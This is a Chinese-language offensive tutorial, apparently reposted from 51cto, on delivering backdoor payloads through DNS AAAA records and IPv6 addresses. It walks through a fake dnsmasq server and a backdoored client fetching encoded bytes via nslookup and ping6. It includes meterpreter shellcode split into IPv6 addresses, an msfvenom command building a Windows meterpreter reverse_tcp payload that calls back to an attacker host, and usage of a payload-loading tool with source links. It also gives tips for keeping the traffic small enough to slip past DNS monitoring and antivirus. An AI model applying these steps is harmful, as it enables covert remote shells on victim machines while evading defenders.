天天看點

利用DNS AAAA記錄和IPv6位址傳輸後門

利用DNS AAAA記錄和IPv6位址傳輸後門

一、前言

在本文中,我想解釋如何在dns流量中利用ipv6位址(aaaa)記錄傳輸payload。在我之前的文章中,我解釋了如何利用dns和ptr記錄,現在我們将讨論aaaa記錄。

本文分為兩部分:

第一部分:dns aaaa記錄和icmpv6

第二部分:dns和aaaa記錄(大的dns aaaa記錄響應)

二、dns aaaa記錄和icmpv6

ipv6位址對于傳輸payload非常有用,讓我解釋下如何完成這個例子。

舉個例子,我們有一個ipv6位址如下:

fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 

這個例子中,我們能将xxxx部分用于我們的payload。

fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz 

我認為我們有兩種方式将ipv6位址用于我們的payload,第一個是我們使用dns和aaaa記錄,第二個是使用這些ipv6位址和dns aaaa記錄,也是ping6的icmpv6流量。

icmpv6和ping6:這個例子中,你能通過虛假的ipv6和注入的payload來改變攻擊者的ipv6位址,然後從後門系統中,你能通過循環ping6得到這些ipv6位址(icmpv6流量)。

是以我們有下面這些東西:

(後門系統)ip位址 = {192.168.1.120}

(攻擊者系統)ip位址 = {192.168.1.111

,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}

(攻擊者系統)dns名 = test.domain.com,和安裝的dns服務{dnsmasq或dnsspoof}

dns aaaa記錄和icmpv6步驟:

步驟1:(攻擊者dns伺服器)record0=>fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 aaaa test.domain.com

步驟2:(後門系統)==>nslookup test.server.com 192.168.1.111

步驟3:(後門系統)循環ping6=>(攻擊者系統fe80:1111:0034:abcd:ef00:ab11:ccf1:0000)

步驟4:(後門系統)通過ping6響應在ipv6位址中轉儲出注入的payload,轉儲這些部分{0034:abcd:ef00:ab11:ccf1}

步驟5:(攻擊者dns伺服器)record0改為新的test.domain.com

步驟6:(攻擊者dns伺服器)record0=>fe80:1111:cf89:abff:000e:09b1:33b1:0001 aaaa test.domain.com

步驟6-1:(攻擊者系統)通過ifconfig添加或改變nic ipv6位址{新的ipv6位址:fe80:1111:cf89:abff:000e:09b1:33b1:0001}

步驟6-2:關于步驟3的ping6的響應=逾時或不可達(錯誤),這個時間是擷取新的ipv6位址的标志,或者你的流量被某些東西檢測到并阻止了。

步驟7:(後門系統)=>nslookup test.server.com 192.168.1.111

步驟8:(後門系統)循環ping6 test.domain.com=>

{新的ipv6位址fe80:1111:cf89:abff:000e:09b1:33b1:0001}

步驟9:(後門系統)通過ipv6的響應,從新的ipv6位址中轉儲出注入的payload,轉儲這些部分{cf89:abff:000e:09b1:33b1}

注1:我們何時能知道ipv6位址改變了?當來自攻擊者系統的ping6響應是逾時或者不可達。你也可以通過nslookup檢查。

注2:也可以使用多個ipv6位址為攻擊者的nic,這種情況下不需要步驟6-1。但是這樣你不能使用注1。是以這種情況下你應該使用定時器或者循環通過nslookup或類似的工具得到來自攻擊者系統的新的ipv6位址。意思是,從後門系統,你能逐行得到攻擊者系統的ipv6位址和dns

round-robin特征以及分組ipv6 dns域名。

在這些步驟之後,你能通過dns和icmpv6流量得到20位元組的payload:

payload0=fe80:1111:0034:abcd:ef00:ab11:ccf1:0000==>0034:abcd:ef00:ab11:ccf1 

payload1=fe80:1111:cf89:abff:000e:09b1:33b1:0001==>cf89:abff:000e:09b1:33b1 

是以我們在兩次ping6之後得到這個payload:

reponse:0034abcdef00ab11ccf1cf89abff000e09b133b1 

但是在這個技術中,你隻能通過dns流量做到這個,意味着你能移除所有的ping6步驟。是以,如果你想不使用ping6和icmpv6流量就做到這個,你隻需要步驟2和7,通過dns響應從dns伺服器轉儲payload。但是我們将在第二部分中讨論讨論這個:(dns和aaaa記錄)

讓我們展示一些關于icmpv6方法的圖檔,沒有代碼和工具。

我将來可能會釋出c#代碼,并且也和這個文章一步一步介紹,但是我想展示關于dns aaaa + icmpv6技術的所有圖檔。

利用DNS AAAA記錄和IPv6位址傳輸後門

圖a

在圖a中,你能看到對于test.domain.com,我們有8個的aaaa記錄,你也能看到這個ipv6位址的ping響應,在這個技術中的dns和icmpv6,你能通過1或2下載下傳dns域名,然後如果你想使用icmpv6,你能ping6這些ipv6位址。

圖a中,我們有8個aaaa記錄,是以我們有8*10位元組=80位元組

 meterpreter payload! 

fe80:1111:fc48:83e4:f0e8:cc00:0000:ae0 test.domain.com 

fe80:1111:4151:4150:5251:5648:31d2:ae1 test.domain.com 

fe80:1111:6548:8b52:6048:8b52:1848:ae2 test.domain.com 

fe80:1111:8b52:2048:8b72:5048:0fb7:ae3 test.domain.com 

fe80:1111:4a4a:4d31:c948:31c0:ac3c:ae4 test.domain.com 

fe80:1111:617c:022c:2041:c1c9:0d41:ae5 test.domain.com 

fe80:1111:01c1:e2ed:5241:5148:8b52:ae6 test.domain.com 

fe80:1111:208b:423c:4801:d066:8178:ae7 test.domain.com 

payload0= fc4883e4f0e8cc000000 and counter = ae0 

payload1= 415141505251564831d2 and counter = ae1 

是以我們得到payload=

fc4883e4f0e8cc000000415141505251564831d2 

為什麼ping,我們何時通過dns請求得到payload?

如果你想使用dns請求,如dns循環請求或者通過aaaa記錄有大的響應的dns請求,那麼這對于·dns監控工具檢測是一種特征。是以如果在每個dns響應之後對于aaaa記錄你有1或2個ping6,那麼我認為它是正常的流量,并且能通過dns監控裝置或者dns監控工具檢測的風險很小。

例如你能通過1或2或3個aaaa記錄使用一個響應一個請求。意思是如果響應有4個aaaa記錄,或者超過4個aaaa記錄,那麼可能有網絡監控裝置或工具将檢測你的流量,但是在這些網絡限制方面,soc/noc的家夥比我更有發言權。

正如你能在圖a中我的test.domain.com請求在響應中有8個aaaa記錄。

是以這種情況,我們應該在ipv6位址中将你的payload分組,dns名也是一樣。

讓我解釋一些icmpv6的東西,如果你想通過ipv6位址ping一個系統,首先你應該得到那個系統的ipv6位址,是以你需要dns請求,總是很重要的點是對于你要轉儲的所有ipv6位址和從ipv6位址中轉儲注入的meterpreter

payload,你需要多少dns請求?

一個請求?

如果你想通過一個請求和一個響應得到所有的ipv6位址,那麼你将在一個dns響應中包含大量的aaaa記錄,是以被檢測的風險很高。

看圖a1:

利用DNS AAAA記錄和IPv6位址傳輸後門

圖a1

并且在圖a2,你能看見2個請求的長度,第一個是小響應,第二個是大響應。

利用DNS AAAA記錄和IPv6位址傳輸後門

圖a2-如你所見,我們有兩個dns aaaa響應,第一個長度132(小響應)和第二個長度1503(大響應)

在本文中,我将通過類似圖a2中的dns aaaa記錄轉儲所有的ipv6位址來解釋一個請求和一個響應,但是在這種情況下我們知道dns+icmpv6也是有被檢測的風險的,如在圖a2 所見,我們的第二個響應長度很長,将導緻被檢測的風險。

兩個請求或者更多?

如你在圖b所見,我的payload在3個dns名中{test0.domian.com,test1.domain.com,test2.domain.com}.

并且我一次ping6一個ipv6位址,且得到了100%的ping回應。

是以在這個例子中,每個響應中我們有包含兩個aaaa記錄的3個請求和3個響應,在每個dnsaaaa響應之後我們還有icmpv6流量,最後我們也有一個小長度的dns響應。

利用DNS AAAA記錄和IPv6位址傳輸後門

圖b

注意:我的linux系統有多個ipv6位址,ping6回複在圖c中。

你能通過ifconfig或者多個ipv6賦給nic來完成步驟6-1,如圖c。

利用DNS AAAA記錄和IPv6位址傳輸後門

圖c

并且,圖c1中是我們的dns查詢:

利用DNS AAAA記錄和IPv6位址傳輸後門

圖c1

現在你能在圖d中看到另一個請求和響應分組的例子。

利用DNS AAAA記錄和IPv6位址傳輸後門

圖d

如圖e所見,對于dns請求和響應,我們的dns伺服器記錄。

利用DNS AAAA記錄和IPv6位址傳輸後門

圖e

無論如何,圖中所見的這種方法技術上是可行的,将來我将完成c#代碼。

三、dns和aaaa記錄(大的dns aaaa記錄響應)

現在,本文中我想讨論dns和aaaa記錄,并讨論如何通過從假的dns伺服器到後門系統的一個dns請求和dns響應得到這些payload。是以我們讨論大的aaaa響應,意味着在一個dns響應之後,你能通過一個dns

aaaa響應,在後門系統上得到所有的payload和meterpreter會話。

通過nativepayload_ip6dns工具,使用dns aaaa記錄傳輸後門payload的步驟:

步驟1:使用hosts檔案僞造假的dns伺服器。

這種情況下,對于攻擊者系統,我想使用dnsmasq工具和dnsmasq.hosts檔案。

在我們僞造檔案之前,你需要payload,是以能通過下面的指令得到payload:

msfvenom–arch x86_64 –platform windows -pwindows/x64/meterpreter/reverse_tcp lhost 192.168.1.50 -f c >/payload.txt 

注意:這個例子中的192.168.1.50是攻擊者的虛假的dns伺服器,和攻擊者的metasploit listener。

現在你應該通過這個payload字元串僞造hosts檔案,如圖1,你能使用下面的文法僞造:

文法1: nativepayload_ip6dns.exe null 0034abcdef00ab11ccf1cf89abff000e09b133b1...

利用DNS AAAA記錄和IPv6位址傳輸後門

圖1

現在拷貝這些ipv6位址到dns hosts檔案中,如圖2,并且你需要在每行ipv6位址後面寫入dns域名。

利用DNS AAAA記錄和IPv6位址傳輸後門

圖2

這個例子中,我想使用工具dnsmasq作為dns伺服器,是以你能編輯/etc/hosts檔案或者/etc/dnsmasq.hosts。

它依賴你的dnsmasq工具的配置。

是以,如圖3,你能使用如下指令啟動dns伺服器。

利用DNS AAAA記錄和IPv6位址傳輸後門

圖3.

在啟動dns伺服器後,你的dnsmasq應該會從hosts檔案中至少讀取51個位址。

最後用下面的文法,通過一個dns ipv6 aaaa記錄響應,你将得到meterpreter會話(如圖a2中的大的響應,第二個dns響應,長度為1503)

文法: nativepayload_ip6dns.exe “fqdn” “fake dns server”

文法: nativepayload_ip6dns.exe test.domain.com 192.168.1.50

利用DNS AAAA記錄和IPv6位址傳輸後門

圖4

總而言之,dns流量的ptr記錄和ipv6 aaaa記錄對于傳輸payload并繞過網絡監控或者類似的東西非常有用,并且這些技術也能繞過反病毒軟體。

nativepayload_ip6dns.exe的c#源代碼:(dns aaaa記錄)

<a href="https://github.com/damonmohammadbagher/nativepayload_ip6dns">https://github.com/damonmohammadbagher/nativepayload_ip6dns</a>

nativepayload_dns.exe tool的c#源代碼:(dns ptr記錄)

<a href="https://github.com/damonmohammadbagher/nativepayload_dns">https://github.com/damonmohammadbagher/nativepayload_dns</a>

作者:myswsun

來源:51cto